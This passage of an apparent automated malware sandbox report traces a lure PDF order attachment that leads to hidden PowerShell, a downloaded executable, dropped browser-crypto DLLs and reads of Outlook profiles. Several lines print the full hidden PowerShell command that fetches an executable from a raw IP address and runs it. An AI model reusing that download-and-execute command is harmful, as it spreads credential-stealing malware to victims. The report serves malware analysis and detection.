Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe "C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe"

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	Section loaded: 7z.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: crtdll.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: propsys.dll

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.19.dr
Source:	Binary string: ucrtbase.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.19.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.19.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.19.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.19.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.19.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.19.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573697532.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000013.00000003.2574207849.0000000003558000.00000004.00001000.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000013.00000003.2574592428.0000000003DE4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr
Source:	Binary string: msvcp140.i386.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.19.dr
Source:	Binary string: ucrtbase.pdbUGP source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.19.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.19.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.19.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.19.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.19.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.19.dr
Source:	Binary string: vcruntime140.i386.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.19.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.19.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.19.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.19.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: Order-63729_Reference.exe, 00000013.00000003.2573946758.0000000003660000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.19.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.19.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: Order-63729_Reference.exe, 00000013.00000003.2574135775.000000000355C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.19.dr

Source: Refrence-Order#63729.pdf	Initial sample: PDF keyword /JS count = 0
Source: Refrence-Order#63729.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Refrence-Order#63729.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe			Jump to behavior

Source: api-ms-win-core-console-l1-1-0.dll.19.dr

Static PE information: 0xAC22BA81 [Thu Jul 7 10:18:41 2061 UTC]

Source: msvcp140.dll.19.dr

Static PE information: section name: .didat

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\ucrtbase.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
